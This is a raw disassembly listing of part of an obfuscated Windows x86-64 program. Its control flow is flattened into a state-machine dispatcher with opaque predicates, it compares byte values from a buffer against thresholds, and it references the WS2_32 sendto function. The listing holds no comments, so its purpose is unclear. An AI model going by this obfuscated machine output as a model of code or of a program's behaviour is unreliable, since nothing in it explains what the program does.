call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x712871f8
mov r10d, 0xee54680f
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x712871f8
je 0x1404b3163
cmp eax, 0x77be9b2c
jne 0x1404b3150
jmp 0x1404b9320
mov eax, 0x77be9b2c
jmp 0x1404b3150
mov eax, dword [rbp + 0x1c8]
add eax, 4
mov dword [rbp + 0xc], eax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x396dda4e
mov ecx, 0x5d7fc41b
jmp 0x1404ac530
mov dword [0x140ae7d8c], 1
mov eax, 0x88ae34fb
jmp 0x1404ac53d
mov al, byte [rbp + 0x2fb]
jmp 0x1404b8f42
mov eax, dword [rbp + 0x250]
mov eax, dword [rbp + 0x250]
mov eax, dword [rbp + 0x250]
mov eax, 0xff1ec908
jmp 0x1404ac53d
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x60], rax
mov eax, 0x49654989
jmp 0x1404ac53d
mov eax, dword [rbp + 0x200]
cmp eax, 2
mov eax, 0x59bbb196
mov ecx, 0xd91a0ad6
cmovl eax, ecx
jmp 0x1404ac53d
mov rax, qword [rbp - 0x40]
mov eax, dword [0x140ae77ec]
mov ecx, eax
add ecx, 0xffffffec
shr ecx, 0x1f
add eax, ecx
add eax, 0xffffffec
sar eax, 1
mov ecx, dword [0x140ae77e8]
mov edx, ecx
add edx, 0xffffffec
shr edx, 0x1f
add ecx, edx
add ecx, 0xffffffec
sar ecx, 1
mov dword [rbp + 0xf0], ecx
lea rcx, [rbp + 0xf4]
mov qword [rbp + 0x320], rcx
mov ecx, 0x7677a1e3
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x64414d30
jle 0x1404b3290
cmp ecx, 0x64414d31
je 0x1404b32a5
cmp ecx, 0x6b34eb96
je 0x1404b32f1
cmp ecx, 0x7677a1e3
jne 0x1404b3250
mov ecx, dword [0x140ae95a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x10ede4c7
mov edx, 0x64414d31
jmp 0x1404b32df
cmp ecx, 0x10ede4c7
je 0x1404b32fb
cmp ecx, 0x5d6e6b5a
jne 0x1404b3250
jmp 0x1404b9367
mov rcx, qword [rbp + 0x320]
mov dword [rcx], eax
mov dword [rbp + 0xf8], reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0xfc]
mov qword [rbp + 0x2d8], rcx
mov ecx, dword [0x140ae95a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x10ede4c7
mov edx, 0x6b34eb96
cmove ecx, edx
cmp dword [0x140ae95ac], 0xa
cmovl ecx, edx
jmp 0x1404b3250
mov ecx, 0x5d6e6b5a
jmp 0x1404b3250
mov rcx, qword [rbp + 0x320]
mov dword [rcx], eax
mov dword [rbp + 0xf8], reloc.WS2_32.dll_sendto
mov ecx, 0x64414d31
jmp 0x1404b3250
mov eax, 0x841ab3f7
jmp 0x1404ac53d
cmp dword [rbp + 0x204], 0
mov eax, 0x3afe76fe
mov ecx, 0x76d8bf04
cmove eax, ecx
jmp 0x1404ac53d
mov eax, 0x73f8b6ca
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x43a42d98
mov ecx, 0xb051b16c
jmp 0x1404ac530
mov r8, qword [rbp - 0x68]
mov ecx, dword [0x140ae9598]
mov edx, dword [0x140ae959c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0x310]
cmp edx, 0xa
setl dl
setl byte [rbp + 0x328]
or dl, cl
mov edi, 0xa8c27510
mov eax, 0x35386b72
cmovne edi, eax
mov edx, 0xa8c27510
mov eax, 0x3f062a22
cmovne edx, eax
mov ebx, 0xf17d613c
mov eax, 0x3d6fccc5
cmovne ebx, eax
mov ecx, 0x8487924
mov esi, 0xbfd0128e
jmp 0x1404b33e0
mov rax, qword [rbp + 0x320]
mov ecx, 0x3f062a22
nop word cs:[rax + rax]
nop
cmp ecx, 0x8487923
jle 0x1404b3420
cmp ecx, 0x35386b71
jle 0x1404b3450
cmp ecx, 0x3d6fccc5
je 0x1404b348e
cmp ecx, 0x3f062a22
jne 0x1404b34cd
mov rax, qword [rbp + 0x320]
add rax, r8
mov qword [rbp + 0x2d8], rax
mov ecx, edi
jmp 0x1404b33e0
cmp ecx, 0xbfd0128d
jg 0x1404b3470
cmp ecx, 0xa8c27510
je 0x1404b33c8
cmp ecx, 0xa9be2338
jne 0x1404b33e0
mov rax, qword [rbp + 0x338]
mov rax, qword [rax]
mov qword [rbp + 0x320], rax
mov ecx, 0x2f542625
jmp 0x1404b33e0
cmp ecx, 0x8487924
je 0x1404b3498
cmp ecx, 0x2f542625
jne 0x1404b33e0
mov ecx, edx
jmp 0x1404b33e0
cmp ecx, 0xbfd0128e
je 0x1404b34b8
cmp ecx, 0xf17d613c
jne 0x1404b33e0
mov ecx, 0xbfd0128e
jmp 0x1404b33e0
mov ecx, 0xa9be2338
jmp 0x1404b33e0
movzx eax, byte [rbp + 0x310]
cmp byte [rbp + 0x328], 0
mov ecx, 0xf17d613c
cmovne ecx, esi
test al, al
cmovne ecx, esi
jmp 0x1404b33e0
lea rax, [0x140ae7ad0]
mov qword [rbp + 0x338], rax
mov ecx, ebx
jmp 0x1404b33e0
cmp ecx, 0x35386b72
jne 0x1404b33e0
mov rdx, qword [rbp + 0x2d8]
movzx r10d, byte [rdx]
movzx ecx, byte [rdx + 1]
movzx r12d, byte [rdx + 2]
cmp r12d, 0x6e
setae r8b
mov edi, dword [0x140ae95a0]
lea esi, [rdi - 1]
imul esi, edi
test sil, 1
sete bl
cmp dword [0x140ae95a4], 0xa
setl r9b
or r9b, bl
mov edi, r12d
sub edi, r10d
mov eax, r10d
sub eax, ecx
mov edx, r12d
sub edx, ecx
mov ebx, edi
neg ebx
mov esi, edi
cmovge esi, ebx
mov dword [rbp + 0x280], esi
mov esi, edx
lea edx, [rdi + 0x5bd633db]
sub edx, 0x5bd633db
cmovb edx, ebx
mov dword [rbp + 0x1a8], edx
mov edx, r12d
add edx, 0xffffff0f
mov dword [rbp + 0x284], edx
mov dword [rbp + 0x290], eax
cmp eax, 0x3c
setge al
and al, r8b
mov byte [rbp + 0x1b0], al
lea eax, [rdi + 0x3285dbe0]
sub eax, 0x3285dbe0
cmovb eax, ebx
mov dword [rbp + 0x1b8], eax
add edi, 0xfff3dde0
sub edi, 0xfff3dde0
cmovb edi, ebx
mov qword [rbp + 0x1a0], rdi
test r9b, r9b
mov eax, 0xa7618fd7
mov edx, 0xf567301e
cmovne eax, edx
mov dword [rbp + 0x1c0], eax
mov eax, 0xa7618fd7
mov edx, 0x5b5ef33a
cmovne eax, edx
mov dword [rbp + 0x170], eax
mov eax, 0x2aaeecf6
mov edx, 0x760f2b06
cmovne eax, edx
mov dword [rbp + 0x208], eax
mov eax, 0x2aaeecf6
mov edx, 0xb90af727
cmovne eax, edx
mov dword [rbp + 0x20c], eax
mov eax, 0x62e019f4
mov edx, 0x6c2646b5
cmovne eax, edx
mov dword [rbp + 0x210], eax
mov eax, 0x62e019f4
mov edx, 0x428e74fb
cmovne eax, edx
mov dword [rbp + 0x158], eax
mov eax, 0xb41cf92d
mov edx, 0x757f22ee
cmovne eax, edx
mov dword [rbp + 0x214], eax
mov eax, 0xb41cf92d
mov edx, 0xa590ee0c
cmovne eax, edx
mov dword [rbp + 0x218], eax
mov eax, 0x21a1fcb2
mov edx, 0x7e344b5e
cmovne eax, edx
mov dword [rbp + 0x21c], eax
mov eax, 0x21a1fcb2
mov edx, 0xad3aed4c
cmovne eax, edx
mov dword [rbp + 0x264], eax
mov eax, 0x7b9405a6
mov edx, 0xb8ba2ea1
cmovne eax, edx
mov ebx, 0x7b9405a6
mov edx, 0x3769d389
cmovne ebx, edx
mov dword [rbp + 0x160], ebx
mov ebx, 0x5dafc2d
mov edx, 0xb3c01a6d
cmovne ebx, edx
mov dword [rbp + 0x168], ebx
mov ebx, 0x5dafc2d
mov edx, 0x899d82c4
cmovne ebx, edx
mov dword [rbp + 0x220], ebx
mov ebx, 0xa4414229
mov edx, 0x10405e5c
cmovne ebx, edx
mov dword [rbp + 0x224], ebx
mov ebx, 0xa4414229
mov edx, 0xdd8786a
cmovne ebx, edx
mov dword [rbp + 0x268], ebx
mov ebx, 0x27337b00
mov edx, 0x6626dad9
cmovne ebx, edx
mov dword [rbp + 0x228], ebx
mov ebx, 0x27337b00
mov edx, 0xed83767d
cmovne ebx, edx
mov dword [rbp + 0x22c], ebx
mov ebx, 0x2bc88f4a
mov edx, 0x1c4362fd
cmovne ebx, edx
mov dword [rbp + 0x230], ebx
mov ebx, 0x2bc88f4a
mov edx, 0xd5a68c66
cmovne ebx, edx
mov dword [rbp + 0x234], ebx
mov ebx, 0x9725ec49
mov edx, 0x62b68f3d
cmovne ebx, edx
mov dword [rbp + 0x238], ebx
mov ebx, 0x9725ec49
mov edx, 0x72086caf
cmovne ebx, edx
mov dword [rbp + 0x23c], ebx
mov ebx, 0x4b66138b
mov edx, 0x44091724
cmovne ebx, edx
mov dword [rbp + 0x240], ebx
mov ebx, 0x4b66138b
mov edx, 0xc2d9f29d
cmovne ebx, edx
mov dword [rbp + 0x244], ebx
mov ebx, 0x9375baaa
mov edx, 0xbac801d8
cmovne ebx, edx
mov dword [rbp + 0x248], ebx
mov ebx, 0x9375baaa
mov edx, 0x1e360b3e
cmovne ebx, edx
mov dword [rbp + 0x26c], ebx
mov ebx, 0x5b7b3aa7
mov edx, 0xac7f4103
cmovne ebx, edx
mov dword [rbp + 0x24c], ebx
mov ebx, 0x5b7b3aa7
mov edx, 0xa43574d7
cmovne ebx, edx
mov dword [rbp + 0x1cc], ebx
mov ebx, 0x175c1eb0
mov edx, 0x69049abf
cmovne ebx, edx
mov dword [rbp + 0x1d0], ebx
mov ebx, 0x175c1eb0
mov edx, 0x6cb905f8
cmovne ebx, edx
mov dword [rbp + 0x270], ebx
mov ebx, 0xf0ef6445
mov edx, 0x7b991837
cmovne ebx, edx
mov dword [rbp + 0x1d4], ebx
mov ebx, 0xf0ef6445
mov edx, 0xd5c03f2c
cmovne ebx, edx
mov dword [rbp + 0x1d8], ebx
mov ebx, 0xefdfc0ad
mov edx, 0xf513da8a
cmovne ebx, edx
mov dword [rbp + 0x1dc], ebx
mov ebx, 0xefdfc0ad
mov edx, 0x706001e2
cmovne ebx, edx
mov dword [rbp + 0x274], ebx
mov dword [rbp + 0x258], edx
mov dword [rbp + 0x2d4], edx
mov edi, 0x6d3ba0ad
jmp 0x1404b3850
mov edi, r15d
cmp r15d, 0x8337efc6
jne 0x1404b3850
xor r9d, r9d
mov edi, 0x8493d803
nop word cs:[rax + rax]
nop
mov r15d, edi
cmp edi, 0x175c1eaf
jg 0x1404b38c0
cmp r15d, 0xc2777480
jle 0x1404b3930
cmp r15d, 0xecad30c9
jle 0x1404b39f3
cmp r15d, 0xf9c25104
jg 0x1404b3b42
cmp r15d, 0xf0ef6444
jg 0x1404b3d9d
cmp r15d, 0xefdfc0ac
jg 0x1404b416a
cmp r15d, 0xecad30ca
je 0x1404b46b8
mov edi, r15d
cmp r15d, 0xed83767d
jne 0x1404b3850
mov edi, dword [rbp + 0x228]
jmp 0x1404b3850
cmp r15d, 0x4b66138a
jle 0x1404b3990
cmp r15d, 0x693a83db
jle 0x1404b3a4f
cmp r15d, 0x72c47359
jg 0x1404b3b8a
cmp r15d, 0x6d3ba0ac
jg 0x1404b3dd1
cmp r15d, 0x6c2646b4
jg 0x1404b41a7
cmp r15d, 0x693a83dc
je 0x1404b46d0
mov edi, r15d
cmp r15d, 0x69ea72c9
jne 0x1404b3850
mov edi, dword [rbp + 0x244]
jmp 0x1404b3850
cmp r15d, 0xa7618fd6
jg 0x1404b3a9e
cmp r15d, 0x9375baa9
jle 0x1404b3bcb
cmp r15d, 0xa43574d6
jg 0x1404b3e06
cmp r15d, 0x9eadecf1
jg 0x1404b41e2
cmp r15d, 0x9375baaa
je 0x1404b46e9
mov edi, r15d
cmp r15d, 0x9725ec49
jne 0x1404b3850
mov edi, 0x72086caf
jmp 0x1404b3850
cmp r15d, 0x3769d388
jg 0x1404b3aec
cmp r15d, 0x22a40a6d
jle 0x1404b3c20
cmp r15d, 0x2bc88f49
jg 0x1404b3e41
cmp r15d, 0x27337aff
jg 0x1404b4213
cmp r15d, 0x22a40a6e
je 0x1404b46f3
mov edi, r15d
cmp r15d, 0x24fba9d4
jne 0x1404b3850
movzx r14d, byte [rbp + 0x307]
mov edi, 0x4d1a5db3
jmp 0x1404b3850
cmp r15d, 0xd05afbbb
jle 0x1404b3c68
cmp r15d, 0xe40cf045
jg 0x1404b3e95
cmp r15d, 0xd5a68c65
jg 0x1404b423a
cmp r15d, 0xd05afbbc
je 0x1404b4707
mov edi, r15d
cmp r15d, 0xd4be71bf
jne 0x1404b3850
cmp dword [rbp + 0x284], 0xe
setb byte [rbp + 0x2b4]
mov edi, 0x693a83dc
jmp 0x1404b3850
cmp r15d, 0x5b7b3aa6
jle 0x1404b3cbe
cmp r15d, 0x6308a265
jg 0x1404b3ed3
cmp r15d, 0x62b68f3c
jg 0x1404b4262
cmp r15d, 0x5b7b3aa7
je 0x1404b471e
mov edi, r15d
cmp r15d, 0x601fae0d
jne 0x1404b3850
mov edi, dword [rbp + 0x1cc]
jmp 0x1404b3850
cmp r15d, 0xb3c01a6c
jle 0x1404b3d02
cmp r15d, 0xb8ba2ea0
jg 0x1404b3f38
cmp r15d, 0xb6a93c88
jg 0x1404b4289
cmp r15d, 0xb3c01a6d
je 0x1404b4728
mov edi, r15d
cmp r15d, 0xb41cf92d
jne 0x1404b3850
mov edi, 0xa590ee0c
jmp 0x1404b3850
cmp r15d, 0x42b6cc24
jle 0x1404b3d4a
cmp r15d, 0x44da55f6
jg 0x1404b3f6d
cmp r15d, 0x43b6e6d6
jg 0x1404b42c4
cmp r15d, 0x42b6cc25
je 0x1404b473a
mov edi, r15d
cmp r15d, 0x42c21285
jne 0x1404b3850
movzx r13d, byte [rbp + 0x30b]
mov edi, 0x4e424fbd
jmp 0x1404b3850
cmp r15d, 0x3c98721
jg 0x1404b3fa2
cmp r15d, 0xfd02ef6c
jg 0x1404b42eb
mov edi, dword [rbp + 0x268]
cmp r15d, 0xf9c25105
je 0x1404b3850
mov edi, r15d
cmp r15d, 0xfb6d4f9b
jne 0x1404b3850
mov edi, dword [rbp + 0x218]
jmp 0x1404b3850
cmp r15d, 0x7b9405a5
jg 0x1404b3fd6
cmp r15d, 0x760f2b05
jg 0x1404b431f
cmp r15d, 0x72c4735a
je 0x1404b474c
mov edi, r15d
cmp r15d, 0x757f22ee
jne 0x1404b3850
mov edi, 0xcad181a6
jmp 0x1404b3850
cmp r15d, 0x87060d81
jle 0x1404b4019
cmp r15d, 0x899d82c3
jg 0x1404b434e
mov edi, dword [rbp + 0x158]
cmp r15d, 0x87060d82
je 0x1404b3850
mov edi, r15d
cmp r15d, 0x888228df
jne 0x1404b3850
mov edx, dword [rbp + 0x328]
cmp edx, 9
mov edi, 0x81a9b203
mov edx, 0x87060d82
jmp 0x1404b3e8a
cmp r15d, 0x1ec422a5
jle 0x1404b404a
cmp r15d, 0x21189a92
jg 0x1404b4388
mov edi, dword [rbp + 0x270]
cmp r15d, 0x1ec422a6
je 0x1404b3850
mov edi, r15d
cmp r15d, 0x1f770623
jne 0x1404b3850
mov edi, dword [rbp + 0x170]
jmp 0x1404b3850
cmp r15d, 0xc88e996c
jle 0x1404b4089
cmp r15d, 0xcb2fca1c
jg 0x1404b43af
mov edi, dword [rbp + 0x264]
cmp r15d, 0xc88e996d
je 0x1404b3850
mov edi, r15d
cmp r15d, 0xcad181a6
jne 0x1404b3850
cmp byte [rbp + 0x300], 0
mov edi, 0xac3923cc
mov edx, 0x7dae0212
cmovne edi, edx
jmp 0x1404b3850
cmp r15d, 0x4e424fbc
jle 0x1404b40bd
cmp r15d, 0x59dc647b
jg 0x1404b43dd
cmp r15d, 0x4e424fbd
je 0x1404b4765
mov edi, r15d
cmp r15d, 0x54ab22e7
jne 0x1404b3850
mov edi, 0x8493d803
xor r9d, r9d
jmp 0x1404b3850
cmp r15d, 0xad30486b
jle 0x1404b40f4
cmp r15d, 0xafc54823
jg 0x1404b4420
mov edi, dword [rbp + 0x274]
cmp r15d, 0xad30486c
je 0x1404b3850
mov edi, r15d
cmp r15d, 0xad3aed4c
jne 0x1404b3850
mov edi, dword [rbp + 0x21c]
jmp 0x1404b3850
cmp r15d, 0x3e2628b3
jle 0x1404b4128
cmp r15d, 0x3ff2fb67
jg 0x1404b4453
cmp r15d, 0x3e2628b4
je 0x1404b4772
mov edi, r15d
cmp r15d, 0x3e87c708
jne 0x1404b3850
cmp byte [rbp + 0x198], 0
mov edi, 0x81a9b203
mov edx, 0xf8459fe6
cmovne edi, edx
xor r11d, r11d
jmp 0x1404b3850
cmp r15d, 0xf567301d
jg 0x1404b4485
cmp r15d, 0xf0ef6445
je 0x1404b4790
mov edi, r15d
cmp r15d, 0xf513da8a
jne 0x1404b3850
mov edi, 0x6d41f05a
jmp 0x1404b3850
cmp r15d, 0x706001e1
jg 0x1404b44b8
cmp r15d, 0x6d3ba0ad
je 0x1404b479a
mov edi, r15d
cmp r15d, 0x6d41f05a
jne 0x1404b3850
mov edi, dword [rbp + 0x1d8]
jmp 0x1404b3850
cmp r15d, 0xa4d2f320
jg 0x1404b44e0
cmp r15d, 0xa43574d7
je 0x1404b47a4
mov edi, r15d
cmp r15d, 0xa4414229
jne 0x1404b3850
movzx edx, byte [rbp + 0x2c8]
mov edi, 0xdd8786a
jmp 0x1404b3850
cmp r15d, 0x31795aeb
jg 0x1404b4512
cmp r15d, 0x2bc88f4a
je 0x1404b47ba
mov edi, r15d
cmp r15d, 0x2f3af363
jne 0x1404b3850
cmp r12b, 0x69
mov edx, dword [rbp + 0x338]
mov edi, 0x81a9b203
mov ebx, 0x3ff2fb68
cmovae edi, ebx
cmp edx, 0x32
mov edx, 0x81a9b203
cmovl edi, edx
xor r11d, r11d
jmp 0x1404b3850
cmp r15d, 0xe85931d1
jg 0x1404b4549
cmp r15d, 0xe40cf046
je 0x1404b383c
mov edi, r15d
cmp r15d, 0xe5411852
jne 0x1404b3850
cmp cl, 0x78
setae byte [rbp + 0x30e]
mov edi, 0x72c4735a
jmp 0x1404b3850
cmp r15d, 0x6626dad8
jg 0x1404b457b
cmp r15d, 0x6308a266
je 0x1404b47d2
mov edi, r15d
cmp r15d, 0x643b7ba4
jne 0x1404b3850
cmp r10b, 0x3d
mov edi, 0x366040e6
mov edx, 0x397e3a88
cmovae edi, edx
movzx edx, byte [rbp + 0x31c]
cmp byte [rbp + 0x335], 0
mov ebx, 0x366040e6
cmove edi, ebx
test dl, dl
cmove edi, ebx
mov dword [rbp + 0x2d4], 0
jmp 0x1404b3850
cmp r15d, 0xbac801d7
jg 0x1404b45b4
cmp r15d, 0xb8ba2ea1
je 0x1404b383c
mov edi, r15d
cmp r15d, 0xb90af727
jne 0x1404b3850
mov edi, dword [rbp + 0x208]
jmp 0x1404b3850
cmp r15d, 0x4762cff3
jg 0x1404b45e7
cmp r15d, 0x44da55f7
je 0x1404b47e3
mov edi, r15d
cmp r15d, 0x45ba25aa
jne 0x1404b3850
mov edi, dword [rbp + 0x234]
jmp 0x1404b3850
cmp r15d, 0xdd87869
jg 0x1404b4620
cmp r15d, 0x3c98722
je 0x1404b47fd
mov edi, r15d
cmp r15d, 0x5dafc2d
jne 0x1404b3850
mov edi, 0x899d82c4
jmp 0x1404b3850
cmp r15d, 0x7dae0211
jg 0x1404b4660
cmp r15d, 0x7b9405a6
je 0x1404b4815
mov edi, r15d
cmp r15d, 0x7b991837
jne 0x1404b3850
cmp byte [rbp + 0x30f], 0
mov edi, 0xe5411852
mov edx, 0x54ab22e7
cmovne edi, edx
jmp 0x1404b3850
cmp r15d, 0x8493d802
jg 0x1404b4696
cmp r15d, 0x81a9b203
jne 0x1404b3830
mov edx, r11d
and dl, 1
mov byte [rbp + 0x288], dl
mov edi, dword [rbp + 0x20c]
jmp 0x1404b3850
cmp r15d, 0x175c1eb0
je 0x1404b481f
cmp r15d, 0x1c4362fd
je 0x1404b4830
mov edi, r15d
cmp r15d, 0x1e360b3e
jne 0x1404b3850
cmp esi, 0x32
setge byte [rbp + 0x309]
mov edi, dword [rbp + 0x248]
jmp 0x1404b3850
cmp r15d, 0xc2777481
je 0x1404b4849
cmp r15d, 0xc2d9f29d
je 0x1404b4860
mov edi, r15d
cmp r15d, 0xc4f33240
jne 0x1404b3850
mov edi, 0xad30486c
jmp 0x1404b3850
cmp r15d, 0x4b66138b
je 0x1404b4872
cmp r15d, 0x4c2d4eeb
je 0x1404b487c
mov edi, r15d
cmp r15d, 0x4d1a5db3
jne 0x1404b3850
mov r9d, r14d
mov edi, 0x8493d803
jmp 0x1404b3850
cmp r15d, 0xa7618fd7
je 0x1404b4890
cmp r15d, 0xac3923cc
je 0x1404b48a0
mov edi, r15d
cmp r15d, 0xac7f4103
jne 0x1404b3850
mov edi, 0x42c21285
jmp 0x1404b3850
mov edi, eax
cmp r15d, 0x3769d389
je 0x1404b3850
cmp r15d, 0x397e3a88
je 0x1404b48b6
mov edi, r15d
cmp r15d, 0x3bb14057
jne 0x1404b3850
cmp byte [rbp + 0x188], 0
mov edi, 0x43b6e6d7
mov edx, 0x48cd5352
jmp 0x1404b49da
cmp r15d, 0xefdfc0ad
je 0x1404b48cb
mov edi, r15d
cmp r15d, 0xf014037b
jne 0x1404b3850
cmp r12b, 0xdd
setae byte [rbp + 0x337]
cmp r12b, 0xff
setne byte [rbp + 0x336]
mov edi, 0x45ba25aa
jmp 0x1404b3850
cmp r15d, 0x6c2646b5
je 0x1404b48d5
mov edi, r15d
cmp r15d, 0x6cb905f8
jne 0x1404b3850
cmp r12b, 0x69
setae dl
and dl, byte [rbp + 0x31f]
mov byte [rbp + 0x30c], dl
mov edi, dword [rbp + 0x1d0]
jmp 0x1404b3850
cmp r15d, 0x9eadecf2
je 0x1404b48df
mov edi, r15d
cmp r15d, 0x9f9809af
jne 0x1404b3850
cmp esi, 0x5a
setge byte [rbp + 0x188]
mov edi, 0x3bb14057
jmp 0x1404b3850
cmp r15d, 0x27337b00
je 0x1404b48f2
mov edi, r15d
cmp r15d, 0x2aaeecf6
jne 0x1404b3850
mov edi, 0xb90af727
jmp 0x1404b3850
cmp r15d, 0xd5a68c66
je 0x1404b48fc
mov edi, r15d
cmp r15d, 0xd5c03f2c
jne 0x1404b3850
mov edi, dword [rbp + 0x1d4]
jmp 0x1404b3850
cmp r15d, 0x62b68f3d
je 0x1404b491d
mov edi, r15d
cmp r15d, 0x62e019f4
jne 0x1404b3850
mov edi, 0x428e74fb
jmp 0x1404b3850
cmp r15d, 0xb6a93c89
je 0x1404b4936
mov edi, r15d
cmp r15d, 0xb88cb19e
jne 0x1404b3850
mov edx, dword [rbp + 0x320]
cmp edx, 0xe
mov edi, 0x43b6e6d7
mov edx, 0x9f9809af
cmovl edi, edx
xor r8d, r8d
jmp 0x1404b3850
cmp r15d, 0x43b6e6d7
je 0x1404b494a
mov edi, r15d
cmp r15d, 0x44091724
jne 0x1404b3850
mov edi, 0xcfb2ecd9
jmp 0x1404b3850
cmp r15d, 0xfd02ef6d
je 0x1404b4957
mov edi, r15d
cmp r15d, 0x3aa1fdb
jne 0x1404b3850
mov rdx, qword [rbp + 0x1a0]
mov dword [rbp + 0x310], edx
mov edi, 0xafc54824
jmp 0x1404b3850
cmp r15d, 0x760f2b06
je 0x1404b4973
mov edi, r15d
cmp r15d, 0x7acd106d
jne 0x1404b3850
movzx r8d, byte [rbp + 0x180]
mov edi, 0x43b6e6d7
jmp 0x1404b3850
mov edi, dword [rbp + 0x168]
cmp r15d, 0x899d82c4
je 0x1404b3850
mov edi, r15d
cmp r15d, 0x8a437dfe
jne 0x1404b3850
movzx edx, byte [rbp + 0x2c4]
mov dword [rbp + 0x258], edx
mov edi, 0x44da55f7
jmp 0x1404b3850
cmp r15d, 0x21189a93
je 0x1404b4985
mov edi, r15d
cmp r15d, 0x21a1fcb2
jne 0x1404b3850
mov edi, 0xad3aed4c
jmp 0x1404b3850
mov edi, dword [rbp + 0x160]
cmp r15d, 0xcb2fca1d
je 0x1404b3850
mov edi, r15d
cmp r15d, 0xcfb2ecd9
jne 0x1404b3850
mov edi, dword [rbp + 0x23c]
jmp 0x1404b3850
cmp r15d, 0x59dc647c
je 0x1404b383c
mov edi, r15d
cmp r15d, 0x5b5ef33a
jne 0x1404b3850
cmp r12b, 0x6e
setae dl
mov edi, dword [rbp + 0x2d8]
cmp edi, 0x3c
setge bl
and bl, dl
mov byte [rbp + 0x150], bl
mov edi, dword [rbp + 0x1c0]
jmp 0x1404b3850
cmp r15d, 0xafc54824
je 0x1404b4996
mov edi, r15d
cmp r15d, 0xb3098562
jne 0x1404b3850
cmp byte [rbp + 0x30d], 0
mov edi, 0x4e424fbd
mov edx, 0x3c98722
jmp 0x1404b45a9
cmp r15d, 0x3ff2fb68
je 0x1404b49b4
mov edi, r15d
cmp r15d, 0x428e74fb
jne 0x1404b3850
cmp esi, 0x5a
setge byte [rbp + 0x198]
mov edi, dword [rbp + 0x210]
jmp 0x1404b3850
cmp r15d, 0xf567301e
je 0x1404b49c9
mov edi, r15d
cmp r15d, 0xf8459fe6
jne 0x1404b3850
mov edx, dword [rbp + 0x290]
mov dword [rbp + 0x338], edx
mov edi, 0x2f3af363
jmp 0x1404b3850
cmp r15d, 0x706001e2
je 0x1404b49e5
mov edi, r15d
cmp r15d, 0x72086caf
jne 0x1404b3850
mov edi, dword [rbp + 0x238]
jmp 0x1404b3850
cmp r15d, 0xa4d2f321
je 0x1404b49fa
mov edi, r15d
cmp r15d, 0xa590ee0c
jne 0x1404b3850
cmp cl, 0x78
setae byte [rbp + 0x300]
mov edi, dword [rbp + 0x214]
jmp 0x1404b3850
cmp r15d, 0x31795aec
je 0x1404b4a13
mov edi, r15d
cmp r15d, 0x366040e6
jne 0x1404b3850
mov edx, dword [rbp + 0x2d4]
and dl, 1
mov byte [rbp + 0x178], dl
mov edi, dword [rbp + 0x22c]
jmp 0x1404b3850
cmp r15d, 0xe85931d2
je 0x1404b4a2c
mov edi, r15d
cmp r15d, 0xebd7ab61
jne 0x1404b3850
cmp r10b, 0x4f
setb byte [rbp + 0x2c4]
mov edi, 0x8a437dfe
jmp 0x1404b3850
cmp r15d, 0x6626dad9
je 0x1404b4a41
mov edi, r15d
cmp r15d, 0x69049abf
jne 0x1404b3850
cmp byte [rbp + 0x30c], 0
mov edi, 0x4e424fbd
mov edx, 0x601fae0d
cmovne edi, edx
xor r13d, r13d
jmp 0x1404b3850
cmp r15d, 0xbac801d8
je 0x1404b4a53
mov edi, r15d
cmp r15d, 0xc183b76b
jne 0x1404b3850
cmp byte [rbp + 0x30a], 0
mov edi, 0x4d1a5db3
mov edx, 0x4762cff4
jmp 0x1404b4968
mov edi, dword [rbp + 0x26c]
cmp r15d, 0x4762cff4
je 0x1404b3850
mov edi, r15d
cmp r15d, 0x48cd5352
jne 0x1404b3850
mov edx, dword [rbp + 0x290]
mov dword [rbp + 0x2d8], edx
mov edi, 0x1f770623
jmp 0x1404b3850
cmp r15d, 0xdd8786a
je 0x1404b4a5d
mov edi, r15d
cmp r15d, 0x10405e5c
jne 0x1404b3850
cmp byte [rbp + 0x278], 0
mov edi, 0x44da55f7
mov edx, 0xebd7ab61
cmovne edi, edx
mov dword [rbp + 0x258], 0
jmp 0x1404b3850
cmp r15d, 0x7dae0212
je 0x1404b4a83
mov edi, r15d
cmp r15d, 0x7e344b5e
jne 0x1404b3850
cmp byte [rbp + 0x2c0], 0
mov edi, 0x8337efc6
mov edx, 0x22a40a6e
cmovne edi, edx
jmp 0x1404b3850
cmp r15d, 0x86dfa822
jne 0x1404b4a99
cmp r10b, 0x64
setae byte [rbp + 0x180]
mov edi, 0x7acd106d
jmp 0x1404b3850
cmp dword [rbp + 0x1b8], 0xe
setl byte [rbp + 0x30a]
mov edi, 0xc183b76b
jmp 0x1404b3850
cmp byte [rbp + 0x2b4], 0
mov edi, 0xcb2fca1d
mov edx, 0xb6a93c89
cmovne edi, edx
jmp 0x1404b3850
mov edi, 0x1e360b3e
jmp 0x1404b3850
cmp cl, 0xbe
setae byte [rbp + 0x2fc]
mov edi, 0xa4d2f321
jmp 0x1404b3850
movzx edx, byte [rbp + 0x334]
mov dword [rbp + 0x2d4], edx
mov edi, 0x366040e6
jmp 0x1404b3850
mov edi, 0xa43574d7
jmp 0x1404b3850
movzx r9d, byte [rbp + 0x2b8]
mov edi, 0x8493d803
jmp 0x1404b3850
movzx r11d, byte [rbp + 0x190]
mov edi, 0x81a9b203
jmp 0x1404b3850
cmp byte [rbp + 0x30e], 0
mov edi, 0xecad30ca
mov edx, 0x3aa1fdb
cmovne edi, edx
jmp 0x1404b3850
mov r9d, r13d
mov edi, 0x8493d803
jmp 0x1404b3850
cmp cl, 0x3d
setae byte [rbp + 0x31c]
cmp cl, 0x5a
setb byte [rbp + 0x335]
mov edi, 0x643b7ba4
jmp 0x1404b3850
mov edi, 0xd5c03f2c
jmp 0x1404b3850
mov edi, 0xc4f33240
jmp 0x1404b3850
cmp r10b, 0x69
setae byte [rbp + 0x30b]
mov edi, dword [rbp + 0x24c]
jmp 0x1404b3850
movzx edx, byte [rbp + 0x337]
movzx edx, byte [rbp + 0x336]
mov edi, 0xd5a68c66
jmp 0x1404b3850
mov byte [rbp + 0x2c0], 0
mov edi, 0xc88e996d
jmp 0x1404b3850
